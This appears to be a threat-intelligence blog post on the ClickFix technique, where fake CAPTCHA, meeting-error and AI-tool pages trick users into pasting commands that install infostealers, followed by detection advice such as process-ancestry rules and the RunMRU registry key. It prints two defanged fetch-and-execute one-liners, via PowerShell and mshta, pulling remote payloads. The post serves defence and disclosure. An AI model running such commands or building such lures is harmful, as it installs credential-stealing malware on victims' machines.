We have spent most of this year writing about what infostealers do once they land: the StealC config format, Amadey’s staging behaviour, the YARA we use to catch the current packers. This post is about the step before all of that. Over 2025 and into 2026, the most consistent change in the delivery layer we track has not been a new exploit or a new packer. It has been a social-engineering pattern the community settled on calling ClickFix, and it has quietly become the front door for Lumma, StealC, Vidar, and a rotating cast of loaders.
What ClickFix actually is
ClickFix removes the malicious download from the infection chain and replaces it with the victim’s own hands. A web page presents a small obstacle: a fake CAPTCHA, a “verify you are human” gate, a fake browser or Cloudflare error, a document that claims it will not render until you complete a quick step. The instructions are always the same shape. Press Win+R to open the Run dialog, press Ctrl+V to paste, press Enter. The page has already copied a command to the clipboard using JavaScript. What the victim pastes and runs is a PowerShell or mshta one-liner that fetches the actual payload.
There is no vulnerability being exploited here in the traditional sense. The victim is walked, click by click, into executing the attacker’s command themselves.
Why it works when a plain download would not
The design goal is to keep anything flaggable out of the browser at the decisive moment. Nothing is downloaded, so there is no executable for SmartScreen to rate, no Mark-of-the-Web to raise a warning, no attachment for a mail gateway to detonate in a sandbox. The malicious instruction arrives as text on the clipboard and is executed by a trusted, signed Windows binary that the user launches by hand. MITRE now tracks this as a technique in its own right, T1204.004, Malicious Copy and Paste, which is a fair signal of how routine it has become. The follow-on execution is ordinary PowerShell or, increasingly, mshta proxied execution.
The lures we are seeing in 2026
The obstacle on the front page has diversified, but the paste-and-run mechanic underneath is constant. In our tracking the current spread is roughly:
- Fake CAPTCHA and Turnstile clones. The most common by volume. A convincing “I’m not a robot” widget, sometimes a near-pixel copy of Cloudflare Turnstile, with the “verification steps” being the keystrokes that run the command.
- Fake meeting and conferencing errors. Pages impersonating Zoom or Google Meet that claim an audio or driver problem the “fix” resolves. These skew toward business targets.
- Fake document and delivery verification. A shared document or a courier tracking page that will not load until you “enable” it.
- Fake AI-tool pages. The same shift we described in our StealC v2 report, where cracked-software lures gave way to fake installers for popular AI tools, now feeds ClickFix landing pages as well. It is a natural fit, because the audience arrives already expecting to install something.
What the chain looks like on the host
Stripped of the theatrics, the on-host sequence is short and very recognisable. JavaScript on the lure page writes the command to the clipboard. The user opens the Run dialog and pastes. The command is typically a hidden-window PowerShell fetch-and-execute, or an mshta call to a remote script:
powershell -w hidden -c "iwr hxxps://<host>/a.txt | iex"
mshta hxxps://<host>/a.htaFrom there it is the loader story we have covered before: the first-stage script pulls the stealer, the stealer runs, and the operator collects. The novelty is entirely in the delivery, not in what gets delivered.
Detecting and blunting it
Because the technique routes around download-based controls, the useful telemetry is on the endpoint, and the detection signals are unusually clean:
- Process ancestry.
explorer.exespawningpowershell.exeormshta.exewith a remote URL or encoded argument is a strong signal, because that parent-child pair is what the Run dialog produces and legitimate software rarely does. - The RunMRU key. Everything typed into the Run dialog is recorded under
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. On a suspected ClickFix infection this key often still holds the exact pasted command, which makes it one of the cleaner forensic artifacts you will find. - Policy controls. Restricting the Run dialog for standard users through Group Policy, and blocking or constraining
mshta.exe, removes the two most common execution paths without affecting much legitimate use.
We are indexing the landing-page hosts and first-stage URLs we collect on our tracker, and the current batch is queryable through ThreatFox alongside the rest of the abuse.ch feeds. If you run detection for an organisation, the process-ancestry rule above is worth deploying before the ATT&CK writeups catch up to whatever the lure looks like next month.
Closing
The delivery layer moved to the one place no security product fully governs: the user’s own decision to open a dialog, paste, and press Enter. That makes ClickFix frustrating to filter and easy to detect, which is a trade-off defenders should lean into. Watch RunMRU and watch what explorer.exe launches. The payload will keep changing. The paste-and-run shape, for now, does not.